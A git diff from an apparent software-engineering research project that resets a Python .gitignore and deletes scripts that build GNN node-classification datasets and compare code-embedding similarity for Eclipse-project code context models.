diff --git a/.gitignore b/.gitignore index 74c74c8..68bc17f 100644 --- a/.gitignore +++ b/.gitignore @@ -1,185 +1,160 @@ -# Byte-compiled / optimized / DLL files -__pycache__/ -*.py[cod] -*$py.class - -# C extensions -*.so - -# Distribution / packaging -.Python -build/ -develop-eggs/ -dist/ -downloads/ -eggs/ -.eggs/ -lib/ -lib64/ -parts/ -sdist/ -var/ -wheels/ -share/python-wheels/ -*.egg-info/ -.installed.cfg -*.egg -MANIFEST - -# PyInstaller -# Usually these files are written by a python script from a template -# before PyInstaller builds the exe, so as to inject date/other infos into it. -*.manifest -*.spec - -# Installer logs -pip-log.txt -pip-delete-this-directory.txt - -# Unit test / coverage reports -htmlcov/ -.tox/ -.nox/ -.coverage -.coverage.* -.cache -nosetests.xml -coverage.xml -*.cover -*.py,cover -.hypothesis/ -.pytest_cache/ -cover/ - -# Translations -*.mo -*.pot - -# Django stuff: -*.log -local_settings.py -db.sqlite3 -db.sqlite3-journal - -# Flask stuff: -instance/ -.webassets-cache - -# Scrapy stuff: -.scrapy - -# Sphinx documentation -docs/_build/ - -# PyBuilder -.pybuilder/ -target/ - -# Jupyter Notebook -.ipynb_checkpoints - -# IPython -profile_default/ -ipython_config.py - -# pyenv -# For a library or package, you might want to ignore these files since the code is -# intended to run in multiple environments; otherwise, check them in: -# .python-version - -# pipenv -# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. -# However, in case of collaboration, if having platform-specific dependencies or dependencies -# having no cross-platform support, pipenv may install dependencies that don't work, or not -# install all needed dependencies. -#Pipfile.lock - -# poetry -# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. -# This is especially recommended for binary packages to ensure reproducibility, and is more -# commonly ignored for libraries. -# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control -#poetry.lock - -# pdm -# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. -#pdm.lock -# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it -# in version control. -# https://pdm.fming.dev/#use-with-ide -.pdm.toml - -# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm -__pypackages__/ - -# Celery stuff -celerybeat-schedule -celerybeat.pid - -# SageMath parsed files -*.sage.py - -# Environments -.env -.venv -env/ -venv/ -ENV/ -env.bak/ -venv.bak/ - -# Spyder project settings -.spyderproject -.spyproject - -# Rope project settings -.ropeproject - -# mkdocs documentation -/site - -# mypy -.mypy_cache/ -.dmypy.json -dmypy.json - -# Pyre type checker -.pyre/ - -# pytype static type analyzer -.pytype/ - -# Cython debug symbols -cython_debug/ - -# PyCharm -# JetBrains specific template is maintained in a separate JetBrains.gitignore that can -# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore -# and can be added to the global gitignore or merged into this file. For a more nuclear -# option (not recommended) you can uncomment the following to ignore the entire idea folder. -#.idea/ - -bug_dataset/ -.idea/ -data_count/ECF/ -data_count/Mylyn/ -data_count/PDE/ -data_count/Platform/ -model_formation/resource/ -model_formation/periods/ -model_formation/code_elements/ -model_formation/code_timestamp/ -model_formation/IQR_code_timestamp/ -model_formation/period_duration/ -model_formation/model_info/ -git_repo_code/ -astnn_embedding/embedding/ -params_validation/git_repo_code/ -baseline/stereotype/ -my_embedding/codebert_base/ -glove_embedding/glove/src/ -glove_embedding/glove/eval/ -baseline/sample_patterns/ -baseline/whole_patterns/ -baseline/origin_patterns/ -baseline/origin_result \ No newline at end of file +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ diff --git a/GNN_Node_Classification/construct_input.py b/GNN_Node_Classification/construct_input.py deleted file mode 100644 index 5c3e112..0000000 --- a/GNN_Node_Classification/construct_input.py +++ /dev/null @@ -1,309 +0,0 @@ -""" -用于构建 GNN 的输入 -格式如下: -节点信息(nodes.tsv):(node_id, code_embedding) node_id即java_code的文件id即可,code_embedding 即 200 embedding vector -边信息(edges.tsv):(start_node_id, end_node_id, relation_vector) relation_vector即四种关系的one-hot编码表示 -[declares, calls, inherits, implements] -""" -import math -import os -import shutil -from os.path import join -import xml.etree.ElementTree as ET - -import pandas as pd -import torch - -from dataset_split_util import get_models_by_ratio - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', 'git_repo_code') - -edge_vector = { - "declares": 0, - "calls": 1, - "inherits": 2, - "implements": 3, - "declares_rev": 5, - "calls_rev": 6, - "inherits_rev": 7, - "implements_rev": 8 -} -dataset_ratio = { - 'train': [0.0, 0.8], - 'valid': [0.8, 0.9], - 'test': [0.9, 1.0] -} -mylyn_dataset_ratio = { - 'train': [0, 0.8], - 'valid': [0.8, 0.9], - 'test': [0.9, 1] -} -SEED_EMBEDDING = torch.nn.Embedding(2, 256) - -step_1 = ['POOL', 'PREDICATE-COLLABORATOR', 'DESTRUCTOR-LOCAL_CONTROLLER', 'PREDICATE', 'BOUNDARY', - 'CONSTRUCTOR-COLLABORATOR', 'FACTORY', 'PROPERTY-COLLABORATOR', 'NON_VOID_COMMAND-LOCAL_CONTROLLER', - 'PROPERTY', 'GET-LOCAL_CONTROLLER', 'PREDICATE-LOCAL_CONTROLLER', 'PURE_CONTROLLER', 'SET', - 'GET-COLLABORATOR', 'CONSTRUCTOR-LOCAL_CONTROLLER', 'LOCAL_CONTROLLER', 'CONSTRUCTOR', 'BOUNDARY-COMMANDER', - 'CONTROLLER', 'INTERFACE', 'COLLABORATOR', 'LAZY_CLASS', 'NON_VOID_COMMAND-COLLABORATOR', 'DEGENERATE', - 'INCIDENTAL', 'FIELD', 'VOID_ACCESSOR-COLLABORATOR', 'FACTORY-LOCAL_CONTROLLER', 'COMMAND', 'DATA_PROVIDER', - 'ABSTRACT', 'NOTFOUND', 'SET-LOCAL_CONTROLLER', 'BOUNDARY-DATA_PROVIDER', 'MINIMAL_ENTITY', - 'CONSTRUCTOR-CONTROLLER', 'ENTITY', 'OTHER', 'COMMANDER', 'NON_VOID_COMMAND', 'FACTORY-COLLABORATOR', - 'COMMAND-COLLABORATOR', 'DATA_CLASS', 'GET', 'EMPTY', 'FACTORY-CONTROLLER', 'LARGE_CLASS', - 'PROPERTY-LOCAL_CONTROLLER', 'SET-COLLABORATOR', 'COMMAND-LOCAL_CONTROLLER' - ] -STEREOTYPE_EMBEDDING = torch.nn.Embedding(len(step_1), 256) - - -def adjust_edge(edge: ET.Element, nodes: list[ET.Element]): - start = int(edge.get('start')) - end = int(edge.get('end')) - label = edge.get('label') - return [start, end, edge_vector[label]] - # if label == 'calls': - # for node in nodes: - # if int(node.get('id')) == end and node.get('kind') == 'variable': - # return [start, end, edge_vector['uses']] - # return [start, end, edge_vector[label]] - # else: - # return [start, end, edge_vector[label]] - - -def save_composed_model(project_path, model_dir_list, step, dest_path, dataset, project_model_name, embedding_type, - description): - if embedding_type == 'astnn+codebert': - embedding_file_1 = f'{description}_{step}_astnn_embedding.pkl' - embedding_file_2 = f'{step}_codebert_embedding.pkl' - elif embedding_type == 'astnn+glove': - embedding_file_1 = f'{description}_{step}_astnn_embedding.pkl' - embedding_file_2 = f'{description}_{step}_glove_embedding.pkl' - elif embedding_type == 'astnn+codebert+stereotype': - embedding_file_1 = f'{description}_{step}_astnn_embedding.pkl' - embedding_file_2 = f'{step}_codebert_embedding.pkl' - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, f'new_{step}_step_expanded_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - # 读 embedding - embedding_list_1 = pd.read_pickle(join(model_path, embedding_file_1)) - embedding_list_2 = pd.read_pickle(join(model_path, embedding_file_2)) - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - base = 0 - # seed_num_list = list() - if len(graphs) == 0: - continue - for graph in graphs: - # 创建保存nodes和edges的数据结构 - nodes_tsv = list() - edges_tsv = list() - true_edge = 0 - true_node = 0 - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - for vertex in vertex_list: - node_id = '_'.join([model_dir, vertex.get('kind'), vertex.get('ref_id')]) - _id = int(vertex.get('id')) - # 去找 embedding 并添加 这儿不知道为什么会多一层列表 - # embedding_list_1[embedding_list_1['id'] == node_id]['embedding'] - # print(node_id) - embedding_1 = embedding_list_1[embedding_list_1['id'] == node_id]['embedding'].iloc[0] - embedding_2 = embedding_list_2[embedding_list_2['id'] == node_id]['embedding'].iloc[0] - # 进行组合 - embedding = embedding_1.tolist() + embedding_2.tolist() - if embedding_type == 'astnn+codebert': - embedding = embedding - elif embedding_type == 'astnn+codebert+stereotype': - stereotype = vertex.get('stereotype') - embedding_stereotype = STEREOTYPE_EMBEDDING( - torch.tensor(step_1.index(stereotype))).squeeze().tolist() - embedding = embedding + embedding_stereotype - nodes_tsv.append( - [_id, embedding, int(vertex.get('origin')), vertex.get('kind')]) - if int(vertex.get('origin')) == 1: - true_node += 1 - edges = graph.find('edges') - edge_list = edges.findall('edge') - for edge in edge_list: - start, end, edge_label = adjust_edge(edge, vertex_list) - edges_tsv.append([start, end, edge_label]) - if int(edge.get('origin')) == 1: - true_edge += 1 - dest = join(dest_path, f'{embedding_type}_model_dataset_{str(step)}', dataset, - f'{project_model_name}_{model_dir}_{str(base)}') - if os.path.exists(dest): - shutil.rmtree(dest) - os.makedirs(dest) - if len(nodes_tsv) > 0 and len(edges_tsv) > 0: - if true_node > step: - pd.DataFrame(nodes_tsv, columns=['node_id', 'code_embedding', 'label', 'kind']).to_csv( - join(dest, 'nodes.tsv'), index=False) - pd.DataFrame(edges_tsv, columns=['start_node_id', 'end_node_id', 'relation']).to_csv( - join(dest, 'edges.tsv'), index=False) - base += 1 - - -def save_model(project_path, model_dir_list, step, dest_path, dataset, project_model_name, embedding_type, description): - if embedding_type == 'astnn': - embedding_file = f'{description}_{step}_astnn_embedding.pkl' - elif embedding_type == 'glove': - embedding_file = f'{description}_{step}_glove_embedding.pkl' - elif embedding_type == 'codebert': - embedding_file = f'{step}_codebert_embedding.pkl' - elif embedding_type == 'astnn+codebert' or embedding_type == 'astnn+glove' or embedding_type == 'astnn+codebert+stereotype': - save_composed_model(project_path, model_dir_list, step, dest_path, dataset, project_model_name, embedding_type, - description) - return - else: - embedding_file = f'{description}_{step}_astnn_embedding.pkl' - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, f'new_{step}_step_expanded_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - # 读 embedding - embedding_list = pd.read_pickle(join(model_path, embedding_file)) - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - base = 0 - # seed_num_list = list() - if len(graphs) == 0: - continue - for graph in graphs: - # 创建保存nodes和edges的数据结构 - nodes_tsv = list() - edges_tsv = list() - true_edge = 0 - true_node = 0 - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - # print(embedding_list) - for vertex in vertex_list: - node_id = '_'.join([model_dir, vertex.get('kind'), vertex.get('ref_id')]) - _id = int(vertex.get('id')) - # print(node_id) - # 去找 embedding 并添加 这儿不知道为什么会多一层列表 - embedding = embedding_list[embedding_list['id'] == node_id]['embedding'].iloc[0].tolist() - nodes_tsv.append( - [_id, embedding, int(vertex.get('origin')), vertex.get('kind')]) - if int(vertex.get('origin')) == 1: - true_node += 1 - edges = graph.find('edges') - edge_list = edges.findall('edge') - for edge in edge_list: - start, end, edge_label = adjust_edge(edge, vertex_list) - edges_tsv.append([start, end, edge_label]) - if int(edge.get('origin')) == 1: - true_edge += 1 - dest = join(dest_path, f'{embedding_type}_model_dataset_{str(step)}', dataset, - f'{project_model_name}_{model_dir}_{str(base)}') - if os.path.exists(dest): - shutil.rmtree(dest) - os.makedirs(dest) - # 如果没有节点,或者没有边,或者节点数小于step 都需要过滤掉,也就是stimulation - # if graphs.index(graph) in remain_seed_list and len(nodes_tsv) > 0 and len(edges_tsv) > 0: - if len(nodes_tsv) > 0 and len(edges_tsv) > 0: - if true_node > step: - pd.DataFrame(nodes_tsv, columns=['node_id', 'code_embedding', 'label', 'kind']).to_csv( - join(dest, 'nodes.tsv'), index=False) - pd.DataFrame(edges_tsv, columns=['start_node_id', 'end_node_id', 'relation']).to_csv( - join(dest, 'edges.tsv'), index=False) - base += 1 - - -def main_func(description: str, step: int, dest_path: str, embedding_type: str): - """ - 构建并拆分数据集 - all: 四个项目分别拆分成train,valid,test : 比例8:1:1 \n - onlymylyn: mylyn作为train, 其余三个项目各自拆分为valid,test=1:1 - nopde:pde拆分为valid:test=1:1,其余为train - noplatform: platform差分为valid:test=1:1,其余为train - - :param description: all, onlymylyn, nopde, noplatform - :param step: 步长 - :param dest_path: 数据集保存的路径 - :return: - """ - if os.path.exists(join(dest_path, f'{embedding_type}_model_dataset_{str(step)}')): - shutil.rmtree(join(dest_path, f'{embedding_type}_model_dataset_{str(step)}')) - if description == 'all': - project_model_list = ['my_pde', 'my_platform', 'my_mylyn'] - for project_model_name in project_model_list: - project_path = join(root_path, project_model_name, 'repo_first_3') - for dataset in dataset_ratio: - ratios = dataset_ratio.get(dataset) - model_dir_list = get_models_by_ratio(project_model_name, ratios[0], ratios[1]) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - save_model(project_path, model_dir_list, step, dest_path, dataset, project_model_name, embedding_type, - description) - elif description == 'onlymylyn': - project_model_name = 'my_mylyn' - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = get_models_by_ratio(project_model_name, 0, 1) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - save_model(project_path, model_dir_list, step, dest_path, 'train', project_model_name, embedding_type, - description) - for project_model_name in ['my_pde', 'my_platform']: - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = get_models_by_ratio(project_model_name, 0, 0.5) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - save_model(project_path, model_dir_list, step, dest_path, 'valid', project_model_name, embedding_type, - description) - model_dir_list = get_models_by_ratio(project_model_name, 0.5, 1) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - save_model(project_path, model_dir_list, step, dest_path, 'test', project_model_name, embedding_type, - description) - elif description == 'nopde': - project_model_name = 'my_pde' - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = get_models_by_ratio(project_model_name, 0, 0.5) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - save_model(project_path, model_dir_list, step, dest_path, 'valid', project_model_name, embedding_type, - description) - model_dir_list = get_models_by_ratio(project_model_name, 0.5, 1) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - save_model(project_path, model_dir_list, step, dest_path, 'test', project_model_name, embedding_type, - description) - for project_model_name in ['my_mylyn', 'my_platform']: - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = get_models_by_ratio(project_model_name, 0, 1) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - save_model(project_path, model_dir_list, step, dest_path, 'train', project_model_name, embedding_type, - description) - elif description == 'noplatform': - project_model_name = 'my_platform' - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = get_models_by_ratio(project_model_name, 0, 0.5) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - save_model(project_path, model_dir_list, step, dest_path, 'valid', project_model_name, embedding_type, - description) - model_dir_list = get_models_by_ratio(project_model_name, 0.5, 1) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - save_model(project_path, model_dir_list, step, dest_path, 'test', project_model_name, embedding_type, - description) - for project_model_name in ['my_mylyn', 'my_pde']: - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = get_models_by_ratio(project_model_name, 0, 1) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - save_model(project_path, model_dir_list, step, dest_path, 'train', project_model_name, embedding_type, - description) - elif description == 'mylyn': - project_model_list = ['my_mylyn'] - for project_model_name in project_model_list: - project_path = join(root_path, project_model_name, 'repo_first_3') - for dataset in mylyn_dataset_ratio: - ratios = mylyn_dataset_ratio.get(dataset) - model_dir_list = get_models_by_ratio(project_model_name, ratios[0], ratios[1]) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - save_model(project_path, model_dir_list, step, dest_path, dataset, project_model_name, embedding_type, - description) diff --git a/GNN_Node_Classification/data_estimator.py b/GNN_Node_Classification/data_estimator.py deleted file mode 100644 index 6fcc20a..0000000 --- a/GNN_Node_Classification/data_estimator.py +++ /dev/null @@ -1,55 +0,0 @@ -""" -用于做一些数据的评估工作 -""" -import os -from os.path import join -import xml.etree.ElementTree as ET -import numpy as np - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', 'git_repo_code') - - -def estimate_positive_and_negative_samples(project_model_list: list[str], step: int): - total_res = [] - for project_model_name in project_model_list: - print('!!!!!!!!!', project_model_name) - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = os.listdir(project_path) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - ratios = [] - print(len(model_dir_list)) - for model_dir in model_dir_list: - model_path = join(project_path, model_dir) - model_file = join(model_path, f'new_{step}_step_expanded_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - for graph in graphs: - count = 0 - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - total = len(vertex_list) - for vertex in vertex_list: - # print(vertex.get('origin')) - if vertex.get('origin') == '1': - count += 1 - if count > 1 and total > 0: - ratios.append((total - count) / (count if count > 0 else 1)) - total_res += ratios - res = np.array(ratios) - sort_counts_list = np.sort(res) - Q3 = np.percentile(sort_counts_list, 75, method='midpoint') - print(f'total: {res.shape}, min: {np.min(res)}, max: {np.max(res)}, mean: {np.mean(res)}, TQ: {Q3}') - total = np.array(total_res) - sort_counts_list = np.sort(total) - Q3 = np.percentile(sort_counts_list, 75, method='midpoint') - print(f'all: {total.shape}, mean: {np.mean(total)}, TQ: {Q3}') - - -estimate_positive_and_negative_samples(['my_mylyn'], step=1) -# estimate_positive_and_negative_samples(['my_mylyn'], step=2) -# estimate_positive_and_negative_samples(['my_mylyn'], step=3) diff --git a/GNN_Node_Classification/model_compare.py b/GNN_Node_Classification/model_compare.py deleted file mode 100644 index eafc8d8..0000000 --- a/GNN_Node_Classification/model_compare.py +++ /dev/null @@ -1,742 +0,0 @@ -""" -比对 model 中的正样本之间是否特征相似等,发现规律 -""" -import ast -import os -import random -from collections import Counter -from os.path import join - -import math -import matplotlib.pyplot as plt -from sklearn.cluster import KMeans -from sklearn.decomposition import PCA - -import dgl -import numpy as np -import pandas as pd -import xml.etree.ElementTree as ET -import torch.nn.functional as F - -import torch -from dgl import DGLGraph - -from dataset_split_util import get_models_by_ratio - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', 'git_repo_code') - -edge_vector = { - "declares": 0, - "calls": 1, - "inherits": 2, - "implements": 3, -} - -node_kind_list = ['variable', 'function', 'class', 'interface'] - - -def get_graph_list(ratio, step=1, project_model_name='my_mylyn'): - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = get_models_by_ratio(project_model_name, ratio[0], ratio[1]) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - embedding_file_1 = f'mylyn_1_astnn_embedding.pkl' - embedding_file_2 = f'1_codebert_embedding.pkl' - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - graph_list = [] - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, f'new_1_step_expanded_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - # 读 embedding - embedding_list_1 = pd.read_pickle(join(model_path, embedding_file_1)) - embedding_list_2 = pd.read_pickle(join(model_path, embedding_file_2)) - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - if len(graphs) == 0: - continue - for graph in graphs: - # 创建保存nodes和edges的数据结构 - nodes_tsv = list() - edges_tsv = list() - true_node = 0 - true_edge = 0 - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - for vertex in vertex_list: - node_id = '_'.join([model_dir, vertex.get('kind'), vertex.get('ref_id')]) - _id = int(vertex.get('id')) - # 去找 embedding 并添加 这儿不知道为什么会多一层列表 - # print(node_id) - embedding_1 = embedding_list_1[embedding_list_1['id'] == node_id]['embedding'].iloc[0] - embedding_2 = embedding_list_2[embedding_list_2['id'] == node_id]['embedding'].iloc[0] - # 进行组合 - embedding = embedding_1.tolist() + embedding_2.tolist() - # embedding = embedding_1.tolist() - nodes_tsv.append([_id, embedding, int(vertex.get('origin')), vertex.get('kind')]) - if int(vertex.get('origin')) == 1: - true_node += 1 - edges = graph.find('edges') - edge_list = edges.findall('edge') - for edge in edge_list: - start = int(edge.get('start')) - end = int(edge.get('end')) - label = edge.get('label') - edges_tsv.append([start, end, edge_vector[label]]) - if int(edge.get('origin')) == 1: - true_edge += 1 - if len(nodes_tsv) > 0 and len(edges_tsv) > 0: - if true_node > step: - node_df = pd.DataFrame(nodes_tsv, columns=['node_id', 'code_embedding', 'label', 'kind']) - edge_df = pd.DataFrame(edges_tsv, columns=['start_node_id', 'end_node_id', 'relation']) - src, dst = edge_df['start_node_id'].tolist(), edge_df['end_node_id'].tolist() - g = dgl.graph(data=(src, dst), num_nodes=len(node_df)) - g.ndata['embedding'] = torch.Tensor(node_df['code_embedding'].tolist()) - g.ndata['label'] = torch.tensor(node_df['label'].tolist(), dtype=torch.float32) - kind_mapping = {'variable': 0, 'function': 1, 'class': 2, 'interface': 3} - node_df['kind_encoded'] = node_df['kind'].map(kind_mapping) - g.ndata['kind'] = torch.tensor(node_df['kind_encoded'].tolist(), dtype=torch.int64) - g.edata['relation'] = torch.tensor(edge_df['relation'].tolist(), dtype=torch.int64) - graph_list.append(g) - return graph_list - - -def compute_similarity(embeddings): - num_nodes = embeddings.shape[0] - similarity_matrix = torch.zeros((num_nodes, num_nodes)) - for i in range(num_nodes): - for j in range(i + 1, num_nodes): - similarity = F.cosine_similarity(embeddings[i].unsqueeze(0), embeddings[j].unsqueeze(0)) - similarity_matrix[i, j] = similarity - similarity_matrix[j, i] = similarity - return similarity_matrix - - -# 统计每行的平均值,也就是每个节点与其他节点的相似度平均值 -def extract_upper_triangle(matrix): - rows, cols = matrix.shape - upper_triangle_elements = [] - - for i in range(rows): - curr_node = [] - for j in range(cols): - if i != j: - curr_node.append(matrix[i, j].item()) - upper_triangle_elements.append(sum(curr_node) / len(curr_node)) - - return upper_triangle_elements - - -# suffix = '_astnn' -suffix = '' -if os.path.exists(f'graph_list{suffix}.pkl'): - graph_list = pd.read_pickle(f'graph_list{suffix}.pkl') -else: - graph_list = get_graph_list(ratio=[0.0, 1]) - pd.to_pickle(graph_list, f'graph_list{suffix}.pkl') - -print(len(graph_list)) - - -def analysis(): - label_1_sum = [] - label_10_sum = [] - all_1_field = [] - all_1_method = [] - all_field = [] - all_method = [] - flag = [] - for g in graph_list: - print(f"{g.num_nodes()} nodes") - # 获取所有不同的 kind 值 - kinds = torch.unique(g.ndata['kind']) - - # 遍历每个 kind 并计算相似性 - for kind in kinds: - kind_nodes = (g.ndata['kind'] == kind).nonzero(as_tuple=True)[0] - label_1_nodes = kind_nodes[(g.ndata['label'][kind_nodes] == 1).nonzero(as_tuple=True)[0]] - label_0_nodes = kind_nodes[(g.ndata['label'][kind_nodes] == 0).nonzero(as_tuple=True)[0]] - - avg_label_1_similarity = 1 - # 计算 label 为 1 的节点之间的相似性 - if label_1_nodes.numel() > 1: - label_1_embeddings = g.ndata['embedding'][label_1_nodes] - label_1_similarities = compute_similarity(label_1_embeddings) - avg_label_1_similarity = label_1_similarities[label_1_similarities != 0].mean().item() - if kind == 1: - label_1_sum.append(avg_label_1_similarity) - if kind == 0: - all_1_field += extract_upper_triangle(label_1_similarities) - elif kind == 1: - all_1_method += extract_upper_triangle(label_1_similarities) - print( - f"Kind {node_kind_list[kind.item()]}: Average similarity for nodes with label 1: {avg_label_1_similarity:.4f}") - - # 计算 label 为 1 的节点与 label 为 0 的节点之间的相似性 - label_0_to_label_1_similarities = [] - for node_0 in label_0_nodes: - curr_node = [] - for node_1 in label_1_nodes: - similarity = F.cosine_similarity(g.ndata['embedding'][node_0].unsqueeze(0), - g.ndata['embedding'][node_1].unsqueeze(0), dim=1) - curr_node.append(similarity.item()) - # (curr_node > avg_label_1_similarity).count() - if len(curr_node) > 0: - label_0_to_label_1_similarities.append(sum(curr_node) / len(curr_node)) - - if label_0_to_label_1_similarities and label_1_nodes.numel() > 1: - avg_label_0_to_label_1_similarity = sum(label_0_to_label_1_similarities) / len( - label_0_to_label_1_similarities) - if kind == 1: - label_10_sum.append(avg_label_0_to_label_1_similarity) - if kind == 0: - all_field += label_0_to_label_1_similarities - flag.append(avg_label_0_to_label_1_similarity > avg_label_1_similarity) - elif kind == 1: - all_method += label_0_to_label_1_similarities - flag.append(avg_label_0_to_label_1_similarity > avg_label_1_similarity) - # print(label_0_to_label_1_similarities) - print( - f"Kind {node_kind_list[kind.item()]}: Average similarity between nodes with label 1 and nodes with label 0: {avg_label_0_to_label_1_similarity:.4f}") - - print(f"\n所有 label1 的平均值{np.mean(label_1_sum)}") - print(f"所有 label10 的平均值{np.mean(label_10_sum)}\n") - - # 定义起始区间、结束区间和间隔 - start = 0.90 - end = 1 - interval = 0.01 - - # 计算区间边界 - bins = np.arange(start, end + interval, interval) - - # 计算每个区间的统计量 - hist, bin_edges = np.histogram(all_1_field, bins=bins) - print('label1 variable') - print(len(all_1_field)) - # 打印每个区间的统计量 - for i in range(len(hist)): - print(f"Bin {i + 1}: {hist[i]} values in range [{bin_edges[i]:.2f}, {bin_edges[i + 1]:.2f})") - print(f"below 0.9: {len(all_1_field) - sum(hist)}") - - # 计算每个区间的统计量 - hist, bin_edges = np.histogram(all_1_method, bins=bins) - print('label1 method') - print(len(all_1_method)) - # 打印每个区间的统计量 - for i in range(len(hist)): - print(f"Bin {i + 1}: {hist[i]} values in range [{bin_edges[i]:.2f}, {bin_edges[i + 1]:.2f})") - print(f"below 0.9: {len(all_1_method) - sum(hist)}") - - print('label10 variable') - # 计算每个区间的统计量 - hist, bin_edges = np.histogram(all_field, bins=bins) - print(len(all_field)) - # 打印每个区间的统计量 - for i in range(len(hist)): - print(f"Bin {i + 1}: {hist[i]} values in range [{bin_edges[i]:.2f}, {bin_edges[i + 1]:.2f})") - print(f"below 0.9: {len(all_field) - sum(hist)}") - - print('label10 function') - # 计算每个区间的统计量 - hist, bin_edges = np.histogram(all_method, bins=bins) - print(len(all_method)) - # 打印每个区间的统计量 - for i in range(len(hist)): - 